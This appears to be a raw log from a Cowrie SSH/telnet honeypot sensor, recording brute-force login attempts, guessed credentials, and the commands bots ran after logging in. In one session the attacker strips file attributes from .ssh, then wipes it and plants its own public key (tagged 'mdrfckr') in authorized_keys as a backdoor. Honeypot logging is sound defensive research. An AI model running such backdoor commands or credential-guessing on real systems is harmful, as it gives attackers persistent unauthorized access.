{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:fa:74:6a:ba:4d:6c:34:4d:88:ee:54:cc:b3:8c:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3R84ryd4jkBll04sfpmaLVwvHgNtHkzho1sVIhyZA51iusitccFpQ5BsCc6KOscNc4gxIdhDhMNvIJZ9D0/m73MG6vm8ZSLyPxzUwMjMyYU6BI9jafVXofyKC3Ilu+YzYn3iwMLhz1KbACly7oEMB8vI3JpgO0VE0+1BrRZgyIWwBuFbCTZ6o977T86/BqLMVv1IS9SAg0Rwr3Z0Qky6yxAbjhZhajpdvNCcMqJ/Qu+20XLkVvXqHab4EkZbO6IYtuphex/sJYGCWAv153yELCK/nNqqagYPhn/lcZLXolsKCyTIk5vO1eFiaqzPD74Iy6lRF2ba0NmARZoV3LO9p6jFKDZCKKoQpuGYwJJQblfDZOxt5NL3PpP8VhEZ1Atjk40qd7BIGuYinaySPL03RtmITpVA/AxI7taoCuVo9pPz/pUGYjSlqRu1dsiFc+m6QixpQkGXsQJlSW3vzliHO/dxdb+cO/xEvFyPpaz41X6+4Tqc5GwSsKZuJx3hIyLoFCk1WPB4ItbQPkLTsvHuBsE8um3FPj5TS3FG3KbZqyrzpKPOecMgjW5laldes64d11pE8WqaeiaPvgikHgUDUhg2X00WMkNmf35FnLmejPr3DdTQzUanoJTEIRhZ7r19l98Ps//jDmrFoVWGIVwCo7bD24hSv+dwl9VQL8VkAaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:12.432887Z","src_ip":"173.236.16.74","session":"921561fef5f3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:78:db:42:60:c8:11:52:69:c9:d4:db:a2:b0:a6:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCei4f49NEW05mkUMrzHQu80RrnX8fHMCBxB9KNzYdMTbgIaPTazJ+tAe+iBW3utcyUM6K6yUrPf6DiIvhUWnn9CZ3/jNpHeA8dmww0xFL5yeMm8ixlQlIVYEy4OJugUKNWbr3JcYUyQBnpqWvdY/ELpddU4uAb9VmSMPIBjosqqk0yC5srTNyJ56gYhbppbu/qlK0d3AWqxbx1tpRPkCtbAjUrZSDKAdLHxNfc6KL/7PczYvMtaxUnjdZ5j8QHoGyAjZ8TLQxJhhRpohB5vOEoyZpKZIniHU1a648zXdPlanZWc1yWqgdrogS6bkj191jylwiBBUE87JC9g2MmFmdf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:78:db:42:60:c8:11:52:69:c9:d4:db:a2:b0:a6:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:12.529827Z","src_ip":"173.236.16.74","session":"921561fef5f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:78:db:42:60:c8:11:52:69:c9:d4:db:a2:b0:a6:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCei4f49NEW05mkUMrzHQu80RrnX8fHMCBxB9KNzYdMTbgIaPTazJ+tAe+iBW3utcyUM6K6yUrPf6DiIvhUWnn9CZ3/jNpHeA8dmww0xFL5yeMm8ixlQlIVYEy4OJugUKNWbr3JcYUyQBnpqWvdY/ELpddU4uAb9VmSMPIBjosqqk0yC5srTNyJ56gYhbppbu/qlK0d3AWqxbx1tpRPkCtbAjUrZSDKAdLHxNfc6KL/7PczYvMtaxUnjdZ5j8QHoGyAjZ8TLQxJhhRpohB5vOEoyZpKZIniHU1a648zXdPlanZWc1yWqgdrogS6bkj191jylwiBBUE87JC9g2MmFmdf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:12.533984Z","src_ip":"173.236.16.74","session":"921561fef5f3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:86:94:0f:a7:d4:d0:64:f6:03:21:90:02:53:48:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/D5qXNV19xjR34qDcAL7H8alW8kQ4/PDo7g9DnoPuiY0FSe866p4JnqPqEOHUR44jpNmGINfB2U92qAhNbJXCa8B5gDjkdaS30CHH+V2sANumjluXvwQTWUtS7enzR23hCiETFbyd0dPA6ljfF8PWB+SQRLUK9umZTpzDT/oio8wgoOVcCVnEx/oxeenuBH1Yrv1/NK69P6BrfAm3bDsIrPsGTRfosPEgpDr1rA7CX8exCmETdrCVEg06wyQHL18hu3nS0xgvXwOEm3VLLP3ZS5ZlDyzyfICD/GhJWC5Y8NSPO0pZ2FmUsvqJEuO7Aa2LcNI11O9S+hgXcOVG8Itl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:86:94:0f:a7:d4:d0:64:f6:03:21:90:02:53:48:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:12.623314Z","src_ip":"173.236.16.74","session":"921561fef5f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:86:94:0f:a7:d4:d0:64:f6:03:21:90:02:53:48:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/D5qXNV19xjR34qDcAL7H8alW8kQ4/PDo7g9DnoPuiY0FSe866p4JnqPqEOHUR44jpNmGINfB2U92qAhNbJXCa8B5gDjkdaS30CHH+V2sANumjluXvwQTWUtS7enzR23hCiETFbyd0dPA6ljfF8PWB+SQRLUK9umZTpzDT/oio8wgoOVcCVnEx/oxeenuBH1Yrv1/NK69P6BrfAm3bDsIrPsGTRfosPEgpDr1rA7CX8exCmETdrCVEg06wyQHL18hu3nS0xgvXwOEm3VLLP3ZS5ZlDyzyfICD/GhJWC5Y8NSPO0pZ2FmUsvqJEuO7Aa2LcNI11O9S+hgXcOVG8Itl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:12.627664Z","src_ip":"173.236.16.74","session":"921561fef5f3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:c5:00:18:16:aa:ed:14:36:10:2a:be:75:1a:82:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2hyyPLP+E8tsgt3PBR/vgjfMPVu7IJ2xrsukUFWi/lKDKSISnSMQYbHF4eyLpq6a323dV06eeZYAQWhOlSU6ctJ57FS9uz0JvwWEsR+b13HAayl9AiGdBGoEq/D2ey/dyY/23b1Qgwrd1mFhlVxkqMbnN3GbZ2O+GB9Bkgn1SYJmSuJUUan/3PHaabTrx6MK1izFbkK7RU4VIZ4Nj2E6SYLaEVe+ZGiXJ9MKo4p4ixfZWs3CXmkmyad9F6k6vcTBNnJIWwhMEkLI9Ef98YSFOoOesUwaqhpAV0cnmGl5wrxFc3m8jJAEKA5c0fxB1z9H8MWt5HmUSjYhFwY+1J88RQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:c5:00:18:16:aa:ed:14:36:10:2a:be:75:1a:82:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:12.716680Z","src_ip":"173.236.16.74","session":"921561fef5f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:c5:00:18:16:aa:ed:14:36:10:2a:be:75:1a:82:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2hyyPLP+E8tsgt3PBR/vgjfMPVu7IJ2xrsukUFWi/lKDKSISnSMQYbHF4eyLpq6a323dV06eeZYAQWhOlSU6ctJ57FS9uz0JvwWEsR+b13HAayl9AiGdBGoEq/D2ey/dyY/23b1Qgwrd1mFhlVxkqMbnN3GbZ2O+GB9Bkgn1SYJmSuJUUan/3PHaabTrx6MK1izFbkK7RU4VIZ4Nj2E6SYLaEVe+ZGiXJ9MKo4p4ixfZWs3CXmkmyad9F6k6vcTBNnJIWwhMEkLI9Ef98YSFOoOesUwaqhpAV0cnmGl5wrxFc3m8jJAEKA5c0fxB1z9H8MWt5HmUSjYhFwY+1J88RQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:12.721767Z","src_ip":"173.236.16.74","session":"921561fef5f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:12.816920Z","src_ip":"173.236.16.74","session":"921561fef5f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":35474,"dst_ip":"159.203.135.109","dst_port":22,"session":"519e5dd5a1c6","protocol":"ssh","message":"New connection: 152.53.22.186:35474 (159.203.135.109:22) [session: 519e5dd5a1c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:25.889765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:25.895353Z","src_ip":"152.53.22.186","session":"519e5dd5a1c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:25.981784Z","src_ip":"152.53.22.186","session":"519e5dd5a1c6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"mbs12!*!g#","message":"login attempt [oracle/mbs12!*!g#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:26.366278Z","src_ip":"152.53.22.186","session":"519e5dd5a1c6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:26.588684Z","src_ip":"152.53.22.186","session":"519e5dd5a1c6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:26.592336Z","src_ip":"152.53.22.186","session":"519e5dd5a1c6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:26.596715Z","src_ip":"152.53.22.186","session":"519e5dd5a1c6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:26.686855Z","src_ip":"152.53.22.186","session":"519e5dd5a1c6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:26.905452Z","src_ip":"152.53.22.186","session":"519e5dd5a1c6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:26.909239Z","src_ip":"152.53.22.186","session":"519e5dd5a1c6","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:27.000731Z","src_ip":"152.53.22.186","session":"519e5dd5a1c6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:27.004729Z","src_ip":"152.53.22.186","session":"519e5dd5a1c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":35488,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5b41bedb0a0","protocol":"ssh","message":"New connection: 152.53.22.186:35488 (159.203.135.109:22) [session: b5b41bedb0a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:27.082936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:27.088238Z","src_ip":"152.53.22.186","session":"b5b41bedb0a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:27.174536Z","src_ip":"152.53.22.186","session":"b5b41bedb0a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:27.566634Z","src_ip":"152.53.22.186","session":"b5b41bedb0a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:28.657935Z","src_ip":"152.53.22.186","session":"b5b41bedb0a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":35504,"dst_ip":"159.203.135.109","dst_port":22,"session":"6855d96ada42","protocol":"ssh","message":"New connection: 152.53.22.186:35504 (159.203.135.109:22) [session: 6855d96ada42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:28.730589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:28.741000Z","src_ip":"152.53.22.186","session":"6855d96ada42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:28.823144Z","src_ip":"152.53.22.186","session":"6855d96ada42","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:29.180820Z","src_ip":"152.53.22.186","session":"6855d96ada42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:29.266630Z","src_ip":"152.53.22.186","session":"6855d96ada42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:29.272538Z","src_ip":"152.53.22.186","session":"519e5dd5a1c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":52342,"dst_ip":"159.203.135.109","dst_port":22,"session":"677fafc065d9","protocol":"ssh","message":"New connection: 152.53.22.186:52342 (159.203.135.109:22) [session: 677fafc065d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:05:17.753210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:05:17.760574Z","src_ip":"152.53.22.186","session":"677fafc065d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:05:17.853986Z","src_ip":"152.53.22.186","session":"677fafc065d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"1qaz","message":"login attempt [server/1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:05:18.247753Z","src_ip":"152.53.22.186","session":"677fafc065d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:05:19.342676Z","src_ip":"152.53.22.186","session":"677fafc065d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.179.218.59","src_port":49612,"dst_ip":"159.203.135.109","dst_port":23,"session":"62800af702ce","protocol":"telnet","message":"New connection: 122.179.218.59:49612 (159.203.135.109:23) [session: 62800af702ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:05:41.190233Z"}
{"eventid":"cowrie.session.closed","duration":12.54006314277649,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:05:53.730190Z","src_ip":"122.179.218.59","session":"62800af702ce","protocol":"telnet"}
